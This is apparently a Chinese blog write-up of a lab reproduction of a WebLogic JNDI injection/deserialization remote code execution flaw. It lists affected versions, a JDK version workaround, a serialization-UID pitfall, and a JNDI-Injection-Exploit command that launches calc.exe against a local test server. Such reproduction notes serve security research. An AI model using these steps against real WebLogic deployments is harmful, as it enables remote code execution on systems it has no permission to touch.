影响范围:10.3.6.0.0,12.1.3.0.0,12.2.1.4.0,12.2.1.3.0 具体可以看宇师傅的博客,https://www.r4v3zn.com/posts/b64d9185/#more 写的非常详细,各种问题也已经说明,网上也已经有具体的Poc了,直接拷贝下来让后把相关的包添加即可,可以稍微修改一下代码自定义
Tips:这里会有一个坑就是包要与要打的目标相同,不然会出现Mismatched serialization UIDs
错误,解决方法就从安装的Weblogic中复制到包的目录下即可
复现环境
windows2008 R2 x64
Weblogic版本:12.2.1.3.0
Jdk版本:8u112(本来是用最新的,后面因为高版本的jdk受trustURLCodebase影响不能远程加载class,导致无法复现成功)
这里放一张经典图片来说明
JNDI注入这里没有使用marshalsec,而是使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar这个工具,个人认为比marshalsec方便快捷许多,少了一些繁琐的步骤 膜Welk1n师傅一下
复现过程
将Weblogic搭建好后去到目录user_projects\domains\base_domain
运行startWeblogic.cmd,即可启动Weblogic,访问
出现上面的Weblogic登录页面则Weblogic搭建成功
将JNDI访问启动命令:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "127.0.0.1" |
-C为要执行的命令, -A为JNDI服务地址,成功运行后如图
运行我们的Poc将rmi地址填入,这里填jdk7的rmi地址也是可以复现成功的
成功利用,并弹出了我们期待的calc
在低版本jdk中编译可以用javac Poc.java -source 1.6 -target 1.6
命令来编译,同样类的版本要对应,听Wyatu师傅说有通用版本的利用方式,只能感慨师傅们Tql,Orz